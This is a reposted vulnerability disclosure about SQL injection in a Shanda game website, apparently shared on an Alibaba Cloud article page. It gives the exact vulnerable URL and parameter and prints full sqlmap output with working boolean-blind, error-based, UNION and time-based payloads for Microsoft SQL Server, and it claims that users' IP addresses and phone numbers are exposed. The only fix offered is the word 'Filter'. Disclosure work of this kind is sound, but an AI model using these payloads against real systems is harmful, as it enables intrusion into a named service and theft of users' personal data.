SQL Injection on a site of Shanda game may cause leakage of the IP addresses and mobile phone numbers of current database users

Source: Internet
Author: User
Tags microsoft iis

SQL Injection on a site of Shanda game may cause leakage of the IP addresses and mobile phone numbers of current database users

Shanda game was injected again, and its permissions were not high enough to query its own tables. You can see the IP address and mobile phone number when the user is activated.

Injection address:

http://blood.sdo.com/NewsApp/GetVoteInfo.ashx?naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818


Payload:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: nacId    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818' AND 8946=8946 AND 'KKsY'='KKsY    Vector: AND [INFERENCE]    Type: error-based    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause    Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818' AND 2110=CONVERT(INT,(SELECT CHAR(113)+CHAR(99)+CHAR(100)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (2110=2110) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(110)+CHAR(113))) AND 'puHS'='puHS    Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))    Type: UNION query    Title: Generic UNION query (NULL) - 11 columns    Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(99)+CHAR(100)+CHAR(110)+CHAR(113)+CHAR(82)+CHAR(108)+CHAR(99)+CHAR(68)+CHAR(107)+CHAR(118)+CHAR(90)+CHAR(110)+CHAR(89)+CHAR(67)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(110)+CHAR(113),NULL--     Vector:  UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,[QUERY],NULL--     Type: AND/OR time-based blind    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)    Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=-7349' OR 5039=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'huTO'='huTO    Vector: OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)---[18:43:29] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NETback-end DBMS: Microsoft SQL Server 2008

 

It shares a database with other games, but cannot be viewed due to insufficient permissions.
 



Leakage of a large number of user IP addresses and mobile phone numbers:
 

 

Solution:

Filter

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.